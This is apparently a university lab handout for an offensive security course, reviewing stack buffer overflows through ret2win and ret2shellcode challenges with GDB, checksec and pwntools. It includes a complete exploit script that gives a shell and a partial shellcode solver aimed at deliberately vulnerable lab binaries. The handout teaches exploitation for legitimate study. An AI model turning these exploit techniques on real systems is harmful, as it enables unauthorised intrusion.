

Buffer Overflow Refresher

Laboratory for the class “Offensive Security”
(01NWLWQ, 01NWLUV, 01NWL UW, 01NWLWR)
Politecnico di Torino – AY 2025/26
Prof. Cataldo Basile

prepared by:
Alberto Carboneri (alberto.carboneri@polito.it)

v. 1.0 (02/01/2026)

Contents

1	Buffer Overflow Refresher	2
1.1	Materials	2
1.2	A quick workflow recap	2
1.3	The <code>ret</code> alignment trick	3
1.4	Guided example 1: Guestbook (<code>ret2win</code>)	3
1.5	Guided example 2: Stack leak (<code>ret2shellcode</code>)	5
1.6	From guided examples to independent exercises	6
2	Exercises	7
3	Extras	8

Purpose of this laboratory

This laboratory is a refresher on Buffer Overflow (BOF) vulnerabilities. The goal is to rebuild muscle memory for inspecting mitigations, measuring offsets, validating assumptions in GDB, and turning the result into a small pwntools script.

All the binaries and source code for this lab are in `lab_01_bof/materiale/challenges/`.

The laboratory is structured as follows:

- **Guided exercises:** step-by-step walkthroughs to review the basics.
- **Exercises:** independent challenges to practice and consolidate the concepts.

1 Buffer Overflow Refresher

This section is a short *refresher*. The goal is to rebuild muscle memory for:

- inspecting mitigations (`checksec`);
- measuring overwrite offsets (`cyclic`, `cyclic_find`);
- validating assumptions in GDB;
- turning the result into a small pwntools script.

In this lab we keep ASLR enabled. Instead of disabling it, we either:

- use a control-flow target at a fixed address (e.g., `ret2win` with PIE disabled), or
- use an intentional information leak to recover a runtime address (e.g., `ret2shellcode`).

1.1 Materials

Each challenge directory contains:

- the binary;
- the source code (`main.c`);
- a `solve.py` template (for some exercises).

1.2 A quick workflow recap

When you approach a BOF exercise, a typical workflow is:

1. Inspect protections with `checksec`.
2. Identify the control point (e.g., saved return address, local variable, function pointer).
3. Measure offsets (often with `cyclic`) and confirm them in GDB.
4. Build a minimal script that is repeatable.

NOTE

If you do not remember the basics of x86_64 calling convention (rdi, rsi, rdx, ...), keep a small cheat sheet open: it will be useful starting from the second exercise.

1.3 The `ret` alignment trick

On x86_64 the System V ABI requires the stack pointer to be **16-byte aligned** when a `call` instruction is executed. If your ROP chain lands on a function whose prologue contains an instruction that assumes alignment (e.g., `movaps`), the process will crash with a `SIGSEGV` even though you correctly overwrote `RIP`.

The fix is simple: insert an extra `ret` gadget before the target address. A lone `ret` pops 8 bytes off the stack, effectively shifting `RSP` by 8 and restoring the expected 16-byte alignment.

```
payload = flat(
    b'A' * OFFSET,
    p64(ret_gadget), # align the stack
    p64(target), # now this call sees a 16-byte aligned RSP
)
```

You can find a suitable `ret` gadget with: `ROPgadget --binary ./program | grep ": ret$"`

NOTE

When your exploit crashes inside `system()` or a similar `libc` function, the first thing to try is adding a `ret` gadget.

1.4 Guided example 1: Guestbook (ret2win)

In `00-guestbook/` the program reads a *too large* name into a 64-byte stack buffer.

Binary:	00-guestbook/ret2win
Source:	00-guestbook/main.c

We will walk through this challenge step by step.

Step 1 — Inspect protections

Run `checksec` on the binary: `checksec --file=./ret2win`

Write down the relevant results:

NX: → NX Enabled

PIE: → NO PIE

Canary: → NO Stack Canary

Because NX is enabled you cannot inject shellcode. Because PIE is disabled, the address of `win()` is the same on every run, even with ASLR.

Step 2 — Find the address of win()

Since PIE is off, win() has a fixed virtual address. Find it: `nm ./ret2win | grep win`

Address of win():

```
→ 000000000040121b t
```

Step 3 — Find the offset to the saved return address

Generate a cyclic pattern and feed it to the binary in GDB:

```
python3 -c 'from pwn import *; print(cyclic(200).decode())'
```

Run the binary in GDB, paste the pattern, and observe the crash. Then compute the offset:

```
python3 -c 'from pwn import *; print(cyclic_find(<value_from_crash>))'
```

Offset to RIP:

```
→ RIP 0x40128d (vuln+66) ← ret
[ DISASM / x86-64 / set emulate on ]
► 0x40128d <vuln+66> ret 0x6161617461616173
↓
```

Step 4 — Find a ret gadget

We may need it for stack alignment (see Section 1.3): `ROPgadget --binary ./ret2win | grep ": ret$"`

ret gadget address:

```
→ (kali@kali)-[~/Scrivania/PoliTo/OffSec/Lab/Lab_01/materiale/challenges/00-guestbook]
$ ROPgadget --binary ./ret2win | grep ": ret$"
0x000000000040101a : ret
```

Step 5 — The complete exploit

Putting it all together:

```
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./ret2win', checksec=False)

OFFSET_TO_RIP = 72
ret_gadget = 0x40101a

p = process(elf.path)
p.recvuntil(b"name?\n")

payload = flat(
    b'A' * OFFSET_TO_RIP,
    p64(ret_gadget),
    p64(elf.sym.win),
)

p.send(payload)
p.interactive()
```

Run it and confirm you get a shell.

1.5 Guided example 2: Stack leak (ret2shellcode)

In 01-whispered-secrets/ the binary prints the address of its 128-byte stack buffer and then reads up to 1024 bytes into it.

Binary:	01-whispered-secrets/bof_shellcode
Source:	01-whispered-secrets/main.c

Key questions

- Why is the printed address essential when ASLR is on?

→

- Run checksec: which specific protection is *disabled* that makes shellcode injection possible?

→

```
(kali@kali)-[~/Scrivania/Polito/OffSec/Lab/Lab_01/materiale/challenges/01-whispered-secrets]
$ checksec --file=whispered_secrets
RELRO      STACK Canary  NX  PIE  RPATH  RUNPATH  Symbols  FORTIFY Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  No RUNPATH  42 Symbols  No  0  2  whispered_secrets
```

Partial solver — fill in the blanks

Complete the script below. The parts marked ??? are for you to determine using the workflow from Example 1.

```
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./bof_shellcode', checksec=False)
context.arch = 'amd64'
context.os = 'linux'
```

OFFSET_TO_RIP = ??? # use cyclic

p = process(elf.path)

```
leak_line = p.recvline_contains(b"secret:")
buf_addr = int(leak_line.split(b"secret:")[1].strip(), 16)
log.info(f"buf_{buf_addr}")
```

shellcode = asm(shellcraft.sh())

```
payload = flat(
    shellcode,
    b"A" * (OFFSET_TO_RIP - len(shellcode)),
    p64(???), # where to jump? buf_addr
)
```

```
p.sendafter(b"secret:\n", payload)
p.interactive()
```

```
0x401238 <vuln+93> ret 0x626161666261616a>
python3 -c 'from pwn import *; print(cyclic.find(0x626161666261616a))'
[1] cyclic.find() expected an integer argument <= 0xffffffff, you gave 0x626161666261616a
Unless you specified cyclic(..., n=8), you probably just want the first 4 bytes.
Truncating the data at 4 bytes. Specify cyclic.find(..., n=8) to override this.
136
```

→

1.6 From guided examples to independent exercises

The guided examples above are the reference pattern for the rest of the lab: understand the target, validate offsets, and keep the final script short and reproducible. The next section lists the exercises you should solve during the lab and at home.

2 Exercises

This section collects the challenges to solve independently. Each exercise directory is under .

Exercise 1 — Variable overwrite

Purpose:	overwrite a local variable on the stack without touching the return address.
Suggested tools:	GDB + pwndbg , <code>pwntools</code> .
Hints:	locate the variable and measure the offset from the start of the buffer.

Challenge directory: `03-lemonade-stand/`

Files:

`03-lemonade-stand/bof_variable`
`03-lemonade-stand/main.c`
`03-lemonade-stand/solve.py`

Exercise 2 — Two variables at once

Purpose:	overwrite <i>two</i> local variables to specific values in a single overflow.
Suggested tools:	GDB + pwndbg , <code>pwntools</code> .
Hints:	both targets sit above the buffer on the stack. Figure out each offset separately, then combine them into one payload.

Challenge directory: `05-cosmic-burger/`

Files:

`05-cosmic-burger/bof_two_vars`
`05-cosmic-burger/main.c`
`05-cosmic-burger/solve.py`

Exercise 3 — Function pointer overwrite

Purpose:	overwrite a function pointer stored on the stack and redirect it to <code>win()</code> .
Suggested tools:	GDB + pwndbg , <code>pwntools</code> .
Hints:	the program calls a function pointer after reading your input; overwrite it to point to <code>win()</code> .

Challenge directory: `04-mini-game/`

Files:

`04-mini-game/bof_home`
`04-mini-game/main.c`
`04-mini-game/solve.py`

3 Extras

Optional ideas if you finish early:

- Add a `ret` alignment gadget in your payload and observe when it matters on `x86_64`.
- Try to make your scripts robust to small output changes (e.g., use `recvuntil` on stable markers).
- In GDB, practice reading the stack around `RSP` and mapping it back to your payload layout.